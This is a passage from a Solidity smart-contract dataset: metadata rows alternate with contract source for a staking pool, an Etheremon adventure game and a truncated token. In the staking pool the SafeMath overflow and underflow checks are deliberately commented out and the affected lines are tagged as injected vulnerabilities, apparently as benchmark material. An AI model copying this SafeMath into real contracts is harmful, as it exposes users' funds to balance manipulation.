function setOpenBlock(uint _openBlock) external onlyManager {
openBlock = _openBlock;
}
}
| 98,439 | 10,337 |
da0e284b1bc05c5921e1e5ce0300c6761b03a36a14baa5a9ad0c8209afb6b1e5
| 26,155 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/integerOverflow/manualCheck/0x2e548308807788818993dbd8eec17e3e046aeeb5_integerOverflow.sol
| 3,783 | 14,241 |
pragma solidity 0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward, uint256 _duration) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution) external onlyOwner {
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public lpToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _lpToken) internal {
lpToken = IERC20(_lpToken);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransfer(msg.sender, amount);
}
}
contract WARPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public constant war = IERC20(0xf4A81C18816C9B0AB98FAC51B36Dcb63b0E58Fde);
string public desc;
uint256 public DURATION;
uint256 public starttime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
constructor(address _lpToken, string memory _desc, uint256 _starttime) public LPTokenWrapper(_lpToken) {
rewardDistribution = msg.sender;
desc = _desc;
starttime = _starttime;
}
function setStartTime(uint256 _starttime) external onlyOwner {
require(block.timestamp < starttime, "started");
starttime = _starttime;
}
modifier checkStart(){
require(block.timestamp >= starttime, "not started");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
war.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 _reward, uint256 _duration) external onlyRewardDistribution updateReward(address(0)) {
require(_duration != 0, "Duration must not be 0");
require(_reward != 0, "Reward must not be 0");
war.safeTransferFrom(msg.sender, address(this), _reward);
DURATION = _duration;
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = _reward.div(_duration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = _reward.add(leftover).div(_duration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(_duration); //injected INTEGER OVERFLOW OR UNDERFLOW
emit RewardAdded(_reward);
} else {
rewardRate = _reward.div(_duration);
lastUpdateTime = starttime;
periodFinish = starttime.add(_duration); //injected INTEGER OVERFLOW OR UNDERFLOW
emit RewardAdded(_reward);
}
}
}
| 278,090 | 10,338 |
6b38f274b1bca1903851078ac8a1ff4efac0949b14ad002a4197c8f4f349760f
| 18,750 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0xcdf7cfc9f7c129a0d7aec376bc205ab87fc878e1.sol
| 4,499 | 17,949 |
pragma solidity ^0.4.16;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
interface EtheremonDataBase {
// read
function getMonsterClass(uint32 _classId) constant external returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant external returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getElementInArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint _index) constant external returns(uint8);
function addMonsterObj(uint32 _classId, address _trainer, string _name) external returns(uint64);
function addElementToArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint8 _value) external returns(uint);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
interface ERC721Interface {
function ownerOf(uint256 _tokenId) external view returns (address owner);
}
interface EtheremonAdventureItem {
function ownerOf(uint256 _tokenId) external view returns (address);
function getItemInfo(uint _tokenId) constant external returns(uint classId, uint value);
function spawnItem(uint _classId, uint _value, address _owner) external returns(uint);
}
interface EtheremonAdventureSetting {
function getSiteItem(uint _siteId, uint _seed) constant external returns(uint _monsterClassId, uint _tokenClassId, uint _value);
function getSiteId(uint _classId, uint _seed) constant external returns(uint);
}
interface EtheremonMonsterNFT {
function mintMonster(uint32 _classId, address _trainer, string _name) external returns(uint);
}
contract EtheremonAdventureData {
function addLandRevenue(uint _siteId, uint _emontAmount, uint _etherAmount) external;
function addTokenClaim(uint _tokenId, uint _emontAmount, uint _etherAmount) external;
function addExploreData(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _startAt, uint _emontAmount, uint _etherAmount) external returns(uint);
function removePendingExplore(uint _exploreId, uint _itemSeed) external;
// public function
function getLandRevenue(uint _classId) constant public returns(uint _emontAmount, uint _etherAmount);
function getTokenClaim(uint _tokenId) constant public returns(uint _emontAmount, uint _etherAmount);
function getExploreData(uint _exploreId) constant public returns(address _sender, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
function getPendingExplore(address _player) constant public returns(uint);
function getPendingExploreData(address _player) constant public returns(uint _exploreId, uint _typeId, uint _monsterId, uint _siteId, uint _itemSeed, uint _startAt);
}
contract EtheremonAdventure is EtheremonEnum, BasicAccessControl {
using AddressUtils for address;
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
struct ExploreData {
address sender;
uint monsterType;
uint monsterId;
uint siteId;
uint itemSeed;
uint startAt; // blocknumber
}
struct ExploreReward {
uint monsterClassId;
uint itemClassId;
uint value;
uint temp;
}
address public dataContract;
address public monsterNFT;
address public adventureDataContract;
address public adventureSettingContract;
address public adventureItemContract;
address public tokenContract;
address public kittiesContract;
uint public exploreETHFee = 0.01 ether;
uint public exploreEMONTFee = 1500000000;
uint public exploreFastenETHFee = 0.005 ether;
uint public exploreFastenEMONTFee = 750000000;
uint public minBlockGap = 240;
uint public totalSite = 54;
uint seed = 0;
event SendExplore(address indexed from, uint monsterType, uint monsterId, uint exploreId);
event ClaimExplore(address indexed from, uint exploreId, uint itemType, uint itemClass, uint itemId);
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireAdventureDataContract {
require(adventureDataContract != address(0));
_;
}
modifier requireAdventureSettingContract {
require(adventureSettingContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireKittiesContract {
require(kittiesContract != address(0));
_;
}
function setContract(address _dataContract, address _monsterNFT, address _adventureDataContract, address _adventureSettingContract, address _adventureItemContract, address _tokenContract, address _kittiesContract) onlyOwner public {
dataContract = _dataContract;
monsterNFT = _monsterNFT;
adventureDataContract = _adventureDataContract;
adventureSettingContract = _adventureSettingContract;
adventureItemContract = _adventureItemContract;
tokenContract = _tokenContract;
kittiesContract = _kittiesContract;
}
function setFeeConfig(uint _exploreETHFee, uint _exploreEMONTFee, uint _exploreFastenETHFee, uint _exploreFastenEMONTFee) onlyOwner public {
exploreETHFee = _exploreETHFee;
exploreEMONTFee = _exploreEMONTFee;
exploreFastenEMONTFee = _exploreFastenEMONTFee;
exploreFastenETHFee = _exploreFastenETHFee;
}
function setConfig(uint _minBlockGap, uint _totalSite) onlyOwner public {
minBlockGap = _minBlockGap;
totalSite = _totalSite;
}
function withdrawEther(address _sendTo, uint _amount) onlyOwner public {
// it is used in case we need to upgrade the smartcontract
if (_amount > address(this).balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyOwner requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function adventureByToken(address _player, uint _token, uint _param1, uint _param2, uint64 _param3, uint64 _param4) isActive onlyModerators external {
// param1 = 1 -> explore, param1 = 2 -> claim
if (_param1 == 1) {
_exploreUsingEmont(_player, _param2, _param3, _token);
} else {
_claimExploreItemUsingEMont(_param2, _token);
}
}
function _exploreUsingEmont(address _sender, uint _monsterType, uint _monsterId, uint _token) internal {
if (_token < exploreEMONTFee) revert();
seed = getRandom(_sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(_sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(_sender, _monsterType, _monsterId, siteId, block.number, _token, 0);
SendExplore(_sender, _monsterType, _monsterId, exploreId);
}
function _claimExploreItemUsingEMont(uint _exploreId, uint _token) internal {
if (_token < exploreFastenEMONTFee) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
// min 2 blocks
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
// give new adventure item
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
// send token contract
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
// public
function getRandom(address _player, uint _block, uint _seed, uint _count) constant public returns(uint) {
return uint(keccak256(block.blockhash(_block), _player, _seed, _count));
}
function getTargetSite(address _sender, uint _monsterType, uint _monsterId, uint _seed) constant public returns(uint) {
if (_monsterType == 0) {
// Etheremon
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = EtheremonDataBase(dataContract).getMonsterObj(uint64(_monsterId));
if (obj.trainer != _sender) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(obj.classId, _seed);
} else if (_monsterType == 1) {
// Cryptokitties
if (_sender != ERC721Interface(kittiesContract).ownerOf(_monsterId)) revert();
return EtheremonAdventureSetting(adventureSettingContract).getSiteId(_seed % totalSite, _seed);
}
return 0;
}
function exploreUsingETH(uint _monsterType, uint _monsterId) isActive public payable {
// not allow contract to make txn
if (msg.sender.isContract()) revert();
if (msg.value < exploreETHFee) revert();
seed = getRandom(msg.sender, block.number - 1, seed, _monsterId);
uint siteId = getTargetSite(msg.sender, _monsterType, _monsterId, seed);
if (siteId == 0) revert();
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
uint exploreId = adventureData.addExploreData(msg.sender, _monsterType, _monsterId, siteId, block.number, 0, msg.value);
SendExplore(msg.sender, _monsterType, _monsterId, exploreId);
}
function claimExploreItem(uint _exploreId) isActive public payable {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0)
revert();
// min 2 blocks
if (block.number < exploreData.startAt + 2)
revert();
exploreData.itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
if (msg.value < exploreFastenETHFee) {
if (block.number < exploreData.startAt + minBlockGap + exploreData.startAt % minBlockGap)
revert();
}
ExploreReward memory reward;
(reward.monsterClassId, reward.itemClassId, reward.value) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, exploreData.itemSeed);
adventureData.removePendingExplore(_exploreId, exploreData.itemSeed);
if (reward.monsterClassId > 0) {
EtheremonMonsterNFT monsterContract = EtheremonMonsterNFT(monsterNFT);
reward.temp = monsterContract.mintMonster(uint32(reward.monsterClassId), exploreData.sender, "..name me..");
ClaimExplore(exploreData.sender, _exploreId, 0, reward.monsterClassId, reward.temp);
} else if (reward.itemClassId > 0) {
// give new adventure item
EtheremonAdventureItem item = EtheremonAdventureItem(adventureItemContract);
reward.temp = item.spawnItem(reward.itemClassId, reward.value, exploreData.sender);
ClaimExplore(exploreData.sender, _exploreId, 1, reward.itemClassId, reward.temp);
} else if (reward.value > 0) {
// send token contract
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(exploreData.sender, reward.value);
ClaimExplore(exploreData.sender, _exploreId, 2, 0, reward.value);
} else {
revert();
}
}
// public
function predictExploreReward(uint _exploreId) constant external returns(uint itemSeed, uint rewardMonsterClass, uint rewardItemCLass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
ExploreData memory exploreData;
(exploreData.sender, exploreData.monsterType, exploreData.monsterId, exploreData.siteId, exploreData.itemSeed, exploreData.startAt) = adventureData.getExploreData(_exploreId);
if (exploreData.itemSeed != 0) {
itemSeed = exploreData.itemSeed;
} else {
if (block.number < exploreData.startAt + 2)
return (0, 0, 0, 0);
itemSeed = getRandom(exploreData.sender, exploreData.startAt + 1, exploreData.monsterId, _exploreId) % 100000;
}
(rewardMonsterClass, rewardItemCLass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(exploreData.siteId, itemSeed);
}
function getExploreItem(uint _exploreId) constant external returns(address trainer, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint rewardMonsterClass, uint rewardItemClass, uint rewardValue) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(trainer, monsterType, monsterId, siteId, rewardMonsterClass, startBlock) = adventureData.getExploreData(_exploreId);
if (rewardMonsterClass > 0) {
(rewardMonsterClass, rewardItemClass, rewardValue) = EtheremonAdventureSetting(adventureSettingContract).getSiteItem(siteId, rewardMonsterClass);
}
}
function getPendingExploreItem(address _trainer) constant external returns(uint exploreId, uint monsterType, uint monsterId, uint siteId, uint startBlock, uint endBlock) {
EtheremonAdventureData adventureData = EtheremonAdventureData(adventureDataContract);
(exploreId, monsterType, monsterId, siteId, endBlock, startBlock) = adventureData.getPendingExploreData(_trainer);
if (exploreId > 0) {
endBlock = startBlock + minBlockGap + startBlock % minBlockGap;
}
}
}
| 335,457 | 10,339 |
2a724a487acd8b4e8f1e91d6a0076d6e3ba43f785918774cf58b5cb7e473eece
| 20,099 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x2692b41e7e8d2d7C84a3bF80186222f7F837d3E4/contract.sol
| 2,719 | 10,201 |
// SPDX-License-Identifier: Unlicense
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeFrunk is Context, IERC20, Ownable {
using SafeMath for uint256;
address private burned = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) private _allowances;
string public name;
string public symbol;
uint256 private fees;
address private baddress;
uint8 public decimals;
uint public override totalSupply;
constructor() public {
symbol = "SafeFrunk";
name = "SafeFrunk";
fees = 3;
baddress = 0x61717017BAaF82220A3CF7820fD7e7B692cF7D7E;
decimals = 0;
totalSupply = 1 * 10**10;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
